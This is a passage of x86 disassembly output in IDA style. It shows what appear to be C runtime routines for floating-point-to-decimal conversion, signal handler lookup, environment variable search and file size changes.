		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41A4F9
		mov	edx, [ebp+var_40]
		mov	ebx, [ebp+var_40+2]
		mov	esi, [ebp+var_3A]
		mov	eax, [ebp+var_36]
		add	esp, 0Ch
		jmp	short loc_419C4B
; ---------------------------------------------------------------------------


loc_419C96:				; CODE XREF: sub_419840+3ABj
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		jmp	short loc_419C4B
; ---------------------------------------------------------------------------


loc_419CA0:				; CODE XREF: sub_419840+381j
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 4
		jmp	short loc_419CC6
; ---------------------------------------------------------------------------


loc_419CB1:				; CODE XREF: sub_419840+40Fj
		cmp	[ebp+var_30], 0
		jz	short loc_419CC6
		xor	edx, edx
		xor	eax, eax
		xor	esi, esi
		xor	ebx, ebx
		mov	[ebp+var_14], 1


loc_419CC6:				; CODE XREF: sub_419840+426j
					; sub_419840+46Fj ...
		mov	ecx, [ebp+arg_0]
		or	eax, [ebp+var_28]
		pop	edi
		mov	[ecx+6], esi
		mov	[ecx+2], ebx
		mov	[ecx+0Ah], ax
		mov	eax, [ebp+var_14]
		pop	esi
		mov	[ecx], dx
		pop	ebx
		leave
		retn
sub_419840	endp

; ---------------------------------------------------------------------------
off_419CE1	dd offset loc_4198AA	; DATA XREF: sub_419840+63r
		dd offset loc_4198F9	; jump table for switch	statement
		dd offset loc_419950
		dd offset loc_41997A
		dd offset loc_4199D5
		dd offset loc_419A4C
		dd offset loc_419A82
		dd offset loc_419ACC
		dd offset loc_419AAB
		dd offset loc_419B30
		dd offset loc_419B1A
		dd offset loc_419AE6

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419D11	proc near		; CODE XREF: sub_41875D+2Cp

var_1C		= byte ptr -1Ch
var_1B		= byte ptr -1Bh
var_1A		= byte ptr -1Ah
var_19		= byte ptr -19h
var_18		= byte ptr -18h
var_17		= byte ptr -17h
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= byte ptr -14h
var_13		= byte ptr -13h
var_12		= byte ptr -12h
var_11		= byte ptr -11h
var_10		= word ptr -10h
var_E		= dword	ptr -0Eh
var_A		= dword	ptr -0Ah
var_6		= word ptr -6
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		mov	ecx, eax
		mov	esi, 7FFFh
		and	ecx, 8000h
		and	eax, esi
		test	cx, cx
		push	edi
		mov	[ebp+var_1C], 0CCh
		mov	[ebp+var_1B], 0CCh
		mov	[ebp+var_1A], 0CCh
		mov	[ebp+var_19], 0CCh
		mov	[ebp+var_18], 0CCh
		mov	[ebp+var_17], 0CCh
		mov	[ebp+var_16], 0CCh
		mov	[ebp+var_15], 0CCh
		mov	[ebp+var_14], 0CCh
		mov	[ebp+var_13], 0CCh
		mov	[ebp+var_12], 0FBh
		mov	[ebp+var_11], 3Fh
		mov	[ebp+var_4], 1
		mov	edx, eax
		jz	short loc_419D73
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_419D77
; ---------------------------------------------------------------------------


loc_419D73:				; CODE XREF: sub_419D11+5Aj
		mov	byte ptr [ebx+2], 20h


loc_419D77:				; CODE XREF: sub_419D11+60j
		mov	edi, [ebp+arg_4]
		test	dx, dx
		jnz	short loc_419D9D
		test	edi, edi
		jnz	short loc_419D9D
		cmp	[ebp+arg_0], edi
		jnz	short loc_419D9D


loc_419D88:				; CODE XREF: sub_419D11+181j
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		jmp	loc_419F9B
; ---------------------------------------------------------------------------


loc_419D9D:				; CODE XREF: sub_419D11+6Cj
					; sub_419D11+70j ...
		cmp	dx, si
		jnz	short loc_419E1C
		mov	eax, 80000000h
		mov	word ptr [ebx],	1
		cmp	edi, eax
		jnz	short loc_419DB6
		cmp	[ebp+arg_0], 0
		jz	short loc_419DC5


loc_419DB6:				; CODE XREF: sub_419D11+9Dj
		test	edi, 40000000h
		jnz	short loc_419DC5
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_419E0B
; ---------------------------------------------------------------------------


loc_419DC5:				; CODE XREF: sub_419D11+A3j
					; sub_419D11+ABj
		test	cx, cx
		jz	short loc_419DDF
		cmp	edi, 0C0000000h
		jnz	short loc_419DDF
		cmp	[ebp+arg_0], 0
		jnz	short loc_419E06
		push	offset a1Ind	; "1#IND"
		jmp	short loc_419DEE
; ---------------------------------------------------------------------------


loc_419DDF:				; CODE XREF: sub_419D11+B7j
					; sub_419D11+BFj
		cmp	edi, eax
		jnz	short loc_419E06
		cmp	[ebp+arg_0], 0
		jnz	short loc_419E06
		push	offset a1Inf	; "1#INF"


loc_419DEE:				; CODE XREF: sub_419D11+CCj
		lea	eax, [ebx+4]
		push	eax
		call	sub_411AD0
		pop	ecx
		mov	byte ptr [ebx+3], 5
		pop	ecx


loc_419DFD:				; CODE XREF: sub_419D11+109j
		and	[ebp+var_4], 0
		jmp	loc_419F74
; ---------------------------------------------------------------------------


loc_419E06:				; CODE XREF: sub_419D11+C5j
					; sub_419D11+D0j ...
		push	offset a1Qnan	; "1#QNAN"


loc_419E0B:				; CODE XREF: sub_419D11+B2j
		lea	eax, [ebx+4]
		push	eax
		call	sub_411AD0
		pop	ecx
		mov	byte ptr [ebx+3], 6
		pop	ecx
		jmp	short loc_419DFD
; ---------------------------------------------------------------------------


loc_419E1C:				; CODE XREF: sub_419D11+8Fj
		movzx	eax, dx
		mov	ecx, edi
		mov	esi, eax
		shr	ecx, 18h
		imul	eax, 4D10h
		shr	esi, 8
		and	[ebp+var_10], 0
		push	1
		lea	ecx, [esi+ecx*2]
		mov	[ebp+var_6], dx
		imul	ecx, 4Dh
		mov	[ebp+var_A], edi
		lea	esi, [ecx+eax-134312F4h]
		mov	eax, [ebp+arg_0]
		sar	esi, 10h
		mov	[ebp+var_E], eax
		movsx	eax, si
		neg	eax
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41A4F9
		add	esp, 0Ch
		cmp	[ebp+var_6], 3FFFh
		jb	short loc_419E7D
		lea	eax, [ebp+var_1C]
		inc	esi
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41A2D9
		pop	ecx
		pop	ecx


loc_419E7D:				; CODE XREF: sub_419D11+15Aj
		test	[ebp+arg_10], 1
		mov	[ebx], si
		jz	short loc_419E97
		mov	edi, [ebp+arg_C]
		movsx	eax, si
		add	edi, eax
		test	edi, edi
		jg	short loc_419E9A
		jmp	loc_419D88
; ---------------------------------------------------------------------------


loc_419E97:				; CODE XREF: sub_419D11+173j
		mov	edi, [ebp+arg_C]


loc_419E9A:				; CODE XREF: sub_419D11+17Fj
		cmp	edi, 15h
		jle	short loc_419EA2
		push	15h
		pop	edi


loc_419EA2:				; CODE XREF: sub_419D11+18Cj
		movzx	esi, [ebp+var_6]
		sub	esi, 3FFEh
		and	[ebp+var_6], 0
		mov	[ebp+arg_14], 8


loc_419EB8:				; CODE XREF: sub_419D11+1B4j
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41971E
		dec	[ebp+arg_14]
		pop	ecx
		jnz	short loc_419EB8
		test	esi, esi
		jge	short loc_419EE2
		neg	esi
		and	esi, 0FFh
		jle	short loc_419EE2


loc_419ED5:				; CODE XREF: sub_419D11+1CFj
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41974C
		dec	esi
		pop	ecx
		jnz	short loc_419ED5


loc_419EE2:				; CODE XREF: sub_419D11+1B8j
					; sub_419D11+1C2j
		lea	ecx, [edi+1]
		lea	eax, [ebx+4]
		test	ecx, ecx
		mov	[ebp+arg_14], eax
		jle	short loc_419F3F
		mov	[ebp+arg_C], ecx


loc_419EF2:				; CODE XREF: sub_419D11+229j
		lea	esi, [ebp+var_10]
		lea	edi, [ebp+arg_0]
		movsd
		movsd
		lea	eax, [ebp+var_10]
		push	eax
		movsd
		call	sub_41971E
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41971E
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_4196C0
		lea	eax, [ebp+var_10]
		push	eax
		call	sub_41971E
		mov	al, byte ptr [ebp+var_6+1]
		mov	ecx, [ebp+arg_14]
		and	byte ptr [ebp+var_6+1],	0
		add	esp, 14h
		add	al, 30h
		inc	[ebp+arg_14]
		dec	[ebp+arg_C]
		mov	[ecx], al
		jnz	short loc_419EF2
		mov	eax, [ebp+arg_14]


loc_419F3F:				; CODE XREF: sub_419D11+1DCj
		mov	cl, [eax-1]
		dec	eax
		dec	eax
		cmp	cl, 35h
		lea	ecx, [ebx+4]
		jl	short loc_419F7C


loc_419F4C:				; CODE XREF: sub_419D11+248j
		cmp	eax, ecx
		jb	short loc_419F5F
		cmp	byte ptr [eax],	39h
		jnz	short loc_419F5B
		mov	byte ptr [eax],	30h
		dec	eax
		jmp	short loc_419F4C
; ---------------------------------------------------------------------------


loc_419F5B:				; CODE XREF: sub_419D11+242j
		cmp	eax, ecx
		jnb	short loc_419F63


loc_419F5F:				; CODE XREF: sub_419D11+23Dj
		inc	eax
		inc	word ptr [ebx]


loc_419F63:				; CODE XREF: sub_419D11+24Cj
		inc	byte ptr [eax]


loc_419F65:				; CODE XREF: sub_419D11+279j
		sub	al, bl
		sub	al, 3
		mov	[ebx+3], al
		movsx	eax, al
		and	byte ptr [eax+ebx+4], 0


loc_419F74:				; CODE XREF: sub_419D11+F0j
		mov	eax, [ebp+var_4]


loc_419F77:				; CODE XREF: sub_419D11+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_419F7C:				; CODE XREF: sub_419D11+239j
					; sub_419D11+275j
		cmp	eax, ecx
		jb	short loc_419F8C
		cmp	byte ptr [eax],	30h
		jnz	short loc_419F88
		dec	eax
		jmp	short loc_419F7C
; ---------------------------------------------------------------------------


loc_419F88:				; CODE XREF: sub_419D11+272j
		cmp	eax, ecx
		jnb	short loc_419F65


loc_419F8C:				; CODE XREF: sub_419D11+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_419F9B:				; CODE XREF: sub_419D11+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_419F77
sub_419D11	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_419FA4	proc near		; CODE XREF: sub_41891C+21p

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_41A00B
		dec	eax
		dec	eax
		jz	short loc_419FFC
		sub	eax, 4
		jz	short loc_419FFC
		sub	eax, 3
		jz	short loc_419FFC
		sub	eax, 4
		jz	short loc_419FEF
		sub	eax, 6
		jz	short loc_419FE2
		dec	eax
		jz	short loc_419FD5
		or	eax, 0FFFFFFFFh
		jmp	loc_41A0CD
; ---------------------------------------------------------------------------


loc_419FD5:				; CODE XREF: sub_419FA4+27j
		mov	esi, ds:dword_45EDEC
		mov	eax, offset dword_45EDEC
		jmp	short loc_41A016
; ---------------------------------------------------------------------------


loc_419FE2:				; CODE XREF: sub_419FA4+24j
		mov	esi, ds:dword_45EDE8
		mov	eax, offset dword_45EDE8
		jmp	short loc_41A016
; ---------------------------------------------------------------------------


loc_419FEF:				; CODE XREF: sub_419FA4+1Fj
		mov	esi, ds:dword_45EDF0
		mov	eax, offset dword_45EDF0
		jmp	short loc_41A016
; ---------------------------------------------------------------------------


loc_419FFC:				; CODE XREF: sub_419FA4+10j
					; sub_419FA4+15j ...
		push	edi
		call	sub_41A0D1
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_41A016
; ---------------------------------------------------------------------------


loc_41A00B:				; CODE XREF: sub_419FA4+Cj
		mov	esi, ds:dword_45EDE4
		mov	eax, offset dword_45EDE4


loc_41A016:				; CODE XREF: sub_419FA4+3Cj
					; sub_419FA4+49j ...
		cmp	esi, 1
		jnz	short loc_41A022
		xor	eax, eax
		jmp	loc_41A0CD
; ---------------------------------------------------------------------------


loc_41A022:				; CODE XREF: sub_419FA4+75j
		test	esi, esi
		jnz	short loc_41A02D
		push	3
		call	sub_412568


loc_41A02D:				; CODE XREF: sub_419FA4+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_41A03F
		cmp	edi, 0Bh
		jz	short loc_41A03F
		cmp	edi, 4
		jnz	short loc_41A065


loc_41A03F:				; CODE XREF: sub_419FA4+8Fj
					; sub_419FA4+94j
		mov	ebx, ds:dword_45EBC4
		and	ds:dword_45EBC4, 0
		cmp	edi, ecx
		jnz	short loc_41A094
		mov	edx, ds:dword_42DE7C
		mov	ds:dword_42DE7C, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_41A068
; ---------------------------------------------------------------------------


loc_41A065:				; CODE XREF: sub_419FA4+99j
		mov	ebx, [ebp+arg_0]


loc_41A068:				; CODE XREF: sub_419FA4+BFj
		cmp	edi, ecx
		jnz	short loc_41A094
		mov	eax, ds:dword_42DE70
		mov	ecx, ds:dword_42DE74
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_41A09B
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:42DE00h[edx*4]


loc_41A089:				; CODE XREF: sub_419FA4+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_41A089
		jmp	short loc_41A09B
; ---------------------------------------------------------------------------


loc_41A094:				; CODE XREF: sub_419FA4+AAj
					; sub_419FA4+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_41A0A9


loc_41A09B:				; CODE XREF: sub_419FA4+D7j
					; sub_419FA4+EEj
		push	ds:dword_42DE7C
		push	8
		call	esi ; dword_45EDEC
		pop	ecx
		pop	ecx
		jmp	short loc_41A0B7
; ---------------------------------------------------------------------------


loc_41A0A9:				; CODE XREF: sub_419FA4+F5j
		push	edi
		call	esi ; dword_45EDEC
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_41A0B7
		cmp	edi, 4
		jnz	short loc_41A0CA


loc_41A0B7:				; CODE XREF: sub_419FA4+103j
					; sub_419FA4+10Cj
		cmp	edi, 8
		mov	ds:dword_45EBC4, ebx
		jnz	short loc_41A0CA
		mov	eax, [ebp+arg_0]
		mov	ds:dword_42DE7C, eax


loc_41A0CA:				; CODE XREF: sub_419FA4+111j
					; sub_419FA4+11Cj
		xor	eax, eax
		pop	ebx


loc_41A0CD:				; CODE XREF: sub_419FA4+2Cj
					; sub_419FA4+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_419FA4	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A0D1	proc near		; CODE XREF: sub_419FA4+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, ds:dword_42DE78
		cmp	ds:dword_42DDFC, edx
		push	esi
		mov	eax, offset dword_42DDF8
		jz	short loc_41A0FF
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:42DDF8h[esi*4]


loc_41A0F3:				; CODE XREF: sub_41A0D1+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_41A0FF
		cmp	[eax+4], edx
		jnz	short loc_41A0F3


loc_41A0FF:				; CODE XREF: sub_41A0D1+16j
					; sub_41A0D1+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:42DDF8h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_41A113
		cmp	[eax+4], edx
		jz	short locret_41A115


loc_41A113:				; CODE XREF: sub_41A0D1+3Bj
		xor	eax, eax

locret_41A115:				; CODE XREF: sub_41A0D1+40j
		retn
sub_41A0D1	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A116	proc near		; CODE XREF: seg000:00418B05p

arg_0		= dword	ptr  4

		cmp	ds:dword_460188, 0
		push	ebx
		push	esi
		mov	esi, ds:dword_45EB3C
		push	edi
		jz	short loc_41A18D
		test	esi, esi
		jnz	short loc_41A147
		cmp	ds:dword_45EB44, esi
		jz	short loc_41A18D
		call	sub_41A5B4
		test	eax, eax
		jnz	short loc_41A18D
		mov	esi, ds:dword_45EB3C
		test	esi, esi
		jz	short loc_41A18D


loc_41A147:				; CODE XREF: sub_41A116+14j
		mov	ebx, [esp+0Ch+arg_0]
		test	ebx, ebx
		jz	short loc_41A18D
		push	ebx
		call	sub_410A70
		pop	ecx
		mov	edi, eax


loc_41A158:				; CODE XREF: sub_41A116+6Dj
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41A18D
		push	eax
		call	sub_410A70
		cmp	eax, edi
		pop	ecx
		jbe	short loc_41A180
		mov	eax, [esi]
		cmp	byte ptr [eax+edi], 3Dh
		jnz	short loc_41A180
		push	edi
		push	ebx
		push	eax
		call	sub_41A575
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41A185


loc_41A180:				; CODE XREF: sub_41A116+51j
					; sub_41A116+59j
		add	esi, 4
		jmp	short loc_41A158
; ---------------------------------------------------------------------------


loc_41A185:				; CODE XREF: sub_41A116+68j
		mov	eax, [esi]
		lea	eax, [eax+edi+1]
		jmp	short loc_41A18F
; ---------------------------------------------------------------------------


loc_41A18D:				; CODE XREF: sub_41A116+10j
					; sub_41A116+1Cj ...
		xor	eax, eax


loc_41A18F:				; CODE XREF: sub_41A116+75j
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A116	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A193	proc near		; CODE XREF: sub_419246+271p

var_1000	= byte ptr -1000h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 1000h
		call	sub_411C60
		push	ebx
		mov	ebx, [ebp+arg_0]
		push	esi
		xor	esi, esi
		cmp	ebx, ds:dword_45FF40
		jnb	loc_41A2C8
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, ds:dword_45FE40[eax*4]
		test	byte ptr [eax+ecx*8+4],	1
		jz	loc_41A2C8
		push	1
		push	esi
		push	ebx
		call	sub_416932
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	loc_41A2D2
		push	2
		push	esi
		push	ebx
		call	sub_416932
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A2D2
		push	edi
		mov	edi, [ebp+arg_4]
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A275
		push	1000h
		lea	eax, [ebp+var_1000]
		push	esi
		push	eax
		call	sub_410870
		push	8000h
		push	ebx
		call	sub_41A622
		add	esp, 14h
		mov	[ebp+arg_4], eax


loc_41A229:				; CODE XREF: sub_41A193+BDj
		mov	eax, 1000h
		cmp	edi, eax
		jge	short loc_41A234
		mov	eax, edi


loc_41A234:				; CODE XREF: sub_41A193+9Dj
		push	eax
		lea	eax, [ebp+var_1000]
		push	eax
		push	ebx
		call	sub_417D10
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A252
		sub	edi, eax
		test	edi, edi
		jle	short loc_41A268
		jmp	short loc_41A229
; ---------------------------------------------------------------------------


loc_41A252:				; CODE XREF: sub_41A193+B5j
		cmp	ds:dword_45EB18, 5
		jnz	short loc_41A265
		mov	ds:dword_45EB14, 0Dh


loc_41A265:				; CODE XREF: sub_41A193+C6j
		or	esi, 0FFFFFFFFh


loc_41A268:				; CODE XREF: sub_41A193+BBj
		push	[ebp+arg_4]
		push	ebx
		call	sub_41A622
		pop	ecx
		pop	ecx
		jmp	short loc_41A2B5
; ---------------------------------------------------------------------------


loc_41A275:				; CODE XREF: sub_41A193+71j
		jge	short loc_41A2B5
		push	0
		push	[ebp+arg_4]
		push	ebx
		call	sub_416932
		push	ebx
		call	sub_4191B2
		add	esp, 10h
		push	eax
		call	near ptr 0A70000h
		and	eax, 0DEF7F08Bh
		sbb	esi, esi
		neg	esi
		dec	esi
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41A2B5
		mov	ds:dword_45EB14, 0Dh
		call	ds:dword_41C060	; RtlGetLastWin32Error
		mov	ds:dword_45EB18, eax


loc_41A2B5:				; CODE XREF: sub_41A193+E0j
					; sub_41A193:loc_41A275j ...
		push	0
		push	[ebp+arg_0]
		push	ebx
		call	sub_416932
		add	esp, 0Ch
		mov	eax, esi
		pop	edi
		jmp	short loc_41A2D5
; ---------------------------------------------------------------------------


loc_41A2C8:				; CODE XREF: sub_41A193+1Aj
					; sub_41A193+36j
		mov	ds:dword_45EB14, 9


loc_41A2D2:				; CODE XREF: sub_41A193+4Ej
					; sub_41A193+63j
		or	eax, 0FFFFFFFFh


loc_41A2D5:				; CODE XREF: sub_41A193+133j
		pop	esi
		pop	ebx
		leave
		retn
sub_41A193	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A2D9	proc near		; CODE XREF: sub_419D11+165p
					; sub_41A4F9+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_41A4D9
		cmp	cx, 7FFFh
		jnb	loc_41A4D9
		cmp	dx, 0BFFDh
		ja	loc_41A4D9
		cmp	dx, 3FBFh
		ja	short loc_41A342
		xor	eax, eax
		jmp	short loc_41A37C
; ---------------------------------------------------------------------------


loc_41A342:				; CODE XREF: sub_41A2D9+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_41A364
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_41A364
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_41A366
		cmp	[esi], eax
		jnz	short loc_41A366
		jmp	loc_41A4D3
; ---------------------------------------------------------------------------


loc_41A364:				; CODE XREF: sub_41A2D9+71j
					; sub_41A2D9+79j
		xor	eax, eax


loc_41A366:				; CODE XREF: sub_41A2D9+80j
					; sub_41A2D9+84j
		cmp	cx, ax
		jnz	short loc_41A389
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_41A389
		cmp	[ebx+4], eax
		jnz	short loc_41A389
		cmp	[ebx], eax
		jnz	short loc_41A389


loc_41A37C:				; CODE XREF: sub_41A2D9+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_41A4F4
; ---------------------------------------------------------------------------


loc_41A389:				; CODE XREF: sub_41A2D9+90j
					; sub_41A2D9+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_41A399:				; CODE XREF: sub_41A2D9+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_41A3ED
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_41A3B5:				; CODE XREF: sub_41A2D9+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_41969F
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41A3E0
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_41A3E0:				; CODE XREF: sub_41A2D9+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_41A3B5


loc_41A3ED:				; CODE XREF: sub_41A2D9+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_41A399
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_41A430


loc_41A40B:				; CODE XREF: sub_41A2D9+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_41A429
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41971E
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41A40B


loc_41A429:				; CODE XREF: sub_41A2D9+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_41A469


loc_41A430:				; CODE XREF: sub_41A2D9+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_41A469
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_41A449:				; CODE XREF: sub_41A2D9+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_41A452
		inc	[ebp+var_14]


loc_41A452:				; CODE XREF: sub_41A2D9+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_41974C
		dec	ebx
		pop	ecx
		jnz	short loc_41A449
		cmp	[ebp+var_14], 0
		jz	short loc_41A469
		or	byte ptr [ebp+var_24], 1


loc_41A469:				; CODE XREF: sub_41A2D9+155j
					; sub_41A2D9+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_41A480
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_41A4B5


loc_41A480:				; CODE XREF: sub_41A2D9+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_41A4B2
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_41A4AD
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_41A4A7
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_41A4B5
; ---------------------------------------------------------------------------


loc_41A4A7:				; CODE XREF: sub_41A2D9+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_41A4B5
; ---------------------------------------------------------------------------


loc_41A4AD:				; CODE XREF: sub_41A2D9+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_41A4B5
; ---------------------------------------------------------------------------


loc_41A4B2:				; CODE XREF: sub_41A2D9+1ABj
		inc	[ebp+var_24+2]


loc_41A4B5:				; CODE XREF: sub_41A2D9+1A5j
					; sub_41A2D9+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_41A4D9
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_41A4D3:				; CODE XREF: sub_41A2D9+86j
		mov	[esi+0Ah], ax
		jmp	short loc_41A4F4
; ---------------------------------------------------------------------------


loc_41A4D9:				; CODE XREF: sub_41A2D9+42j
					; sub_41A2D9+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_41A4F4:				; CODE XREF: sub_41A2D9+ABj
					; sub_41A2D9+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A2D9	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4F9	proc near		; CODE XREF: sub_419840+440p
					; sub_419D11+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_42E2F0
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_41A572
		jge	short loc_41A521
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_42E450
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_41A521:				; CODE XREF: sub_41A4F9+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_41A52C
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_41A52C:				; CODE XREF: sub_41A4F9+2Bj
